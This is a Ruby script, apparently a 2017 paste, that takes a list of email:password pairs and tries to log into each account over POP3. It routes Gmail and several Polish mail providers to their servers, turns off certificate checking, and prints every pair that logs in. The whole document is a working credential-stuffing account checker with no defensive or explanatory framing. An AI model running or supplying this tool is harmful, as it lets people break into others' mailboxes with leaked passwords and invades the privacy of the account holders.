· 8 years ago · Oct 26, 2017, 09:32 PM
1# coding: utf-8
2
3require "rubygems"
4require "net/pop"
5require "openssl"
6
7list = File.readlines( ARGV.shift ).map{ |i| i.strip.split( ":" ) }
8
9list.each{ |data|
10
11
12 user = data[0]
13 pass = data[1]
14 addr = user.split( '@', 2 )[1]
15 address = addr
16 case addr
17 when "gmail.com"
18 address = "pop.gmail.com"
19 when "googlemail.com"
20 address = "pop.gmail.com"
21 when "nacjonalista.pl"
22 address = "pop.gmail.com"
23 when "interia.pl"
24 address = "poczta.interia.pl"
25 when /onet.pl/
26 address = "pop3.poczta.onet.pl"
27 when "vp.pl"
28 address = "pop3.poczta.onet.pl"
29 when "wp.pl"
30 address = "pop3.wp.pl"
31 when "o2.pl"
32 address = "poczta.o2.pl"
33 when "tlen.pl"
34 address = "poczta.o2.pl"
35 else
36
37 next
38
39 end
40 port = 995
41
42 pop3 = Net::POP3.new( address, port, false )
43 pop3.enable_ssl( OpenSSL::SSL::VERIFY_NONE )
44 begin
45 pop3.start( user, pass )
46 puts "#{user}:#{pass}"
47 rescue
48 end
49}